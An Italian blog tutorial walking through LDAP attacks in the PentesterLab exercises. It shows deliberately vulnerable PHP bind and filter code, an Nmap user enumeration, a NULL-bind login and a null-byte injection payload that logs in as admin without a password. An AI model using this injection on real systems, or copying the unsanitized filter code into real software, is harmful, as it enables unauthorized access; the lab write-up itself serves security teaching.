Nozioni basilari di (in)sicurezza delle applicazioni Web – Parte 9 - Attacchi LDAP

Tempo di lettura: 7 minuti
Data pubblicazione: June 19, 2017

LDAP (Lightweight Directory Access Protocol) è un protocollo per accedere a dei servizi di directory, ad esempio un elenco aziendale di email o una rubrica telefonica. Esso include solitamente anche un meccanismo nel quale un client si può autenticare, o provare la sua identità ad una directory server.

 Comunicazione con server LDAP
Comunicazione con server LDAP

In questo articolo ci occuperemo di due attacchi a questo protocollo, il quale, sebbene non troppo conosciuto, è utilizzato in molte applicazioni web per accedere ai dati salvati nelle stesse. L’iniezione LDAP è un attacco server side che permette di avere informazioni in merito ad utenti e/o hosts presenti nella struttura.

Esempio 1

Nella sezione LDAP di PentesterLab, il codice dell’esempio uno è definito come segue

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="o">.
  ..
  ...</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="nv">$ld</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">    <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line">    <span class="nv">$user</span> <span class="o">=</span> <span class="s2">"uid="</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]</span><span class="o">.</span><span class="s2">"ou=people,dc=pentesterlab,dc=com"</span><span class="p">;</span>
</span><span class="line">    <span class="p">}</span>
</span><span class="line">  <span class="nv">$lb</span> <span class="o">=</span> <span class="o">@</span><span class="nb">ldap_bind</span><span class="p">(</span><span class="nv">$ld</span><span class="p">,</span> <span class="nv">$user</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"password"</span><span class="p">]);</span>
</span><span class="line">  <span class="o">...
  </span><span class="o">..
  .</span>
</span><span class="line"><span class="cp">?></span></span></code>

I programmatori hanno inserito la richiesta di ldap_bind dopo l’if, per cui è possibile autenticarsi senza passare nessun paramentro (autorizza quindi il NULL bind).

Esempio 1 risolto
Esempio 1 risolto

Esempio 2

Per quanto riguarda l’esempio due è bene conoscere la sintassi di LDAP (un approfondimento si trova sul sito di O’Reilly).

Alcuni dei termini principali del protocollo sono:

  • dn: identificativo univoco del record;
  • entry: contiene gli attributi di un particolare record;
  • cn: sta per Common Name, ossia nome comune a cui appartiene il record;
  • ou: organizzazione a cui appartiene;
  • altri ancora.

Utilizza una struttura ad albero in cui ogni oggetto è riferito ad un oggetto superiore e/o superiore, come si può vedere dall’immagine

Per comprendere in misura maggiore ci viene incontro uno script apposito di Nmap, ldap-search, che ci permette di scansionare l’applicazione, visionarne la struttura ed enumerare (se non protetti) gli utenti presenti nel sistema.

┌─[✗]─[mrtouch@parrot]─[~]
└──╼ $nmap -p 389 --script ldap-search 192.168.1.105

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-16 23:39 CEST
Nmap scan report for 192.168.1.105
Host is up (0.00030s latency).
PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=pentesterlab,dc=com
|     dn: dc=pentesterlab,dc=com
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: pentesterlab.com
|         dc: pentesterlab
|     dn: cn=admin,dc=pentesterlab,dc=com
|         objectClass: simpleSecurityObject
|         objectClass: organizationalRole
|         cn: admin
|         description: LDAP administrator
|     dn: ou=People,dc=pentesterlab,dc=com
|         ou: People
|         objectClass: organizationalUnit
|     dn: ou=Group,dc=pentesterlab,dc=com
|         ou: Group
|         objectClass: organizationalUnit
|     dn: cn=hacker,ou=Group,dc=pentesterlab,dc=com
|         cn: hacker
|         gidNumber: 20000
|         objectClass: top
|         objectClass: posixGroup
|     dn: uid=hacker,ou=People,dc=pentesterlab,dc=com
|         uid: hacker
|         uidNumber: 20000
|         gidNumber: 20000
|         cn: hacker
|         sn: hacker
|         objectClass: top
|         objectClass: person
|         objectClass: posixAccount
|         objectClass: shadowAccount
|         loginShell: /bin/bash
|         homeDirectory: /home/hacker
|     dn: cn=admin,ou=Group,dc=pentesterlab,dc=com
|         cn: admin
|         gidNumber: 20001
|         objectClass: top
|         objectClass: posixGroup
|     dn: uid=admin,ou=People,dc=pentesterlab,dc=com
|         uid: admin
|         uidNumber: 20001
|         gidNumber: 20001
|         cn: admin
|         sn: admin
|         objectClass: top
|         objectClass: person
|         objectClass: posixAccount
|         objectClass: shadowAccount
|         loginShell: /bin/bash
|         homeDirectory: /home/admin
|     dn: uid=admin2,ou=People,dc=pentesterlab,dc=com
|         uid: admin2
|         uidNumber: 20002
|         gidNumber: 20001
|         cn: admin2
|         sn: admin2
|         objectClass: top
|         objectClass: person
|         objectClass: posixAccount
|         objectClass: shadowAccount
|         loginShell: /bin/bash
|_        homeDirectory: /home/admin2

Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds

Quindi gli utenti presenti nell’applicazione sono hacker, admin, admin2.

Tentativo con admin
Tentativo con admin

Purtroppo la password utilizzata in precedenza sembra non funzionare, quindi dobbiamo capire in che modo il backend effettui la ricerca e provare a romperla. OWASP ha un’ottima pagina di esempi per il testing di applicazioni web basate su LDAP ed un esempio di filtraggio è

find("(&(cn=John)(userPassword=mypass))")

Nel nostro caso cn è rappresentato da admin, mentre la password è l’informazione che ci manca. Inserendo la stringa

name=admin)

l’applicazione ritorna un errore, msg:‘Bad search filter’. Seguendo sempre la stringa di esempio di OWASP, provo ad inserire

name=admin))")

ma ritorna lo stesso errore. Un’idea potrebbe essere quella di inserire un NULL BYTE, in maniera molto simile a quella utilizzata nell’esempio del Directory Traversal, ossia eliminare eventuali altri dettagli obbligatori all’esecuzione della ricerca (nel nostro caso la password)

name=admin))%00")
Autenticati come admin
Autenticati come admin

Non è sicuramente bellissimo, ma siamo riusciti ad autenticarci con l’username voluto! Per risolvere l’errore basta aggiungere la stringa password=somestring

Il codice dell’applicazione era

<code class="php"><span class="line"> <?php
  . 
  ..
  ... 
<span class="nv">  $pass</span> <span class="o">=</span> <span class="s2">"{MD5}"</span><span class="o">.</span><span class="nb">base64_encode</span><span class="p">(</span><span class="nb">pack</span><span class="p">(</span><span class="s2">"H*"</span><span class="p">,</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'password'</span><span class="p">])));</span>
</span><span class="line">  <span class="nv">$filter</span> <span class="o">=</span> <span class="s2">"(&(cn="</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="o">.</span><span class="s2">")(userPassword="</span><span class="o">.</span><span class="nv">$pass</span><span class="o">.</span><span class="s2">"))"</span><span class="p">;
  ...
  ..
  .
?></span></span></code>

 Conclusioni

Come accennato prima, le applicazioni LDAP sono sicuramente meno conosciute e ovvie rispetto ad un classico attacco SQLI, ma conoscere e saper attaccare piattaforme che utilizzano tecnologie meno conosciute (quindi dover anche impararne il funzionamento) è sicuramente uno dei tanti aspetti affascinanti della sicurezza informatica.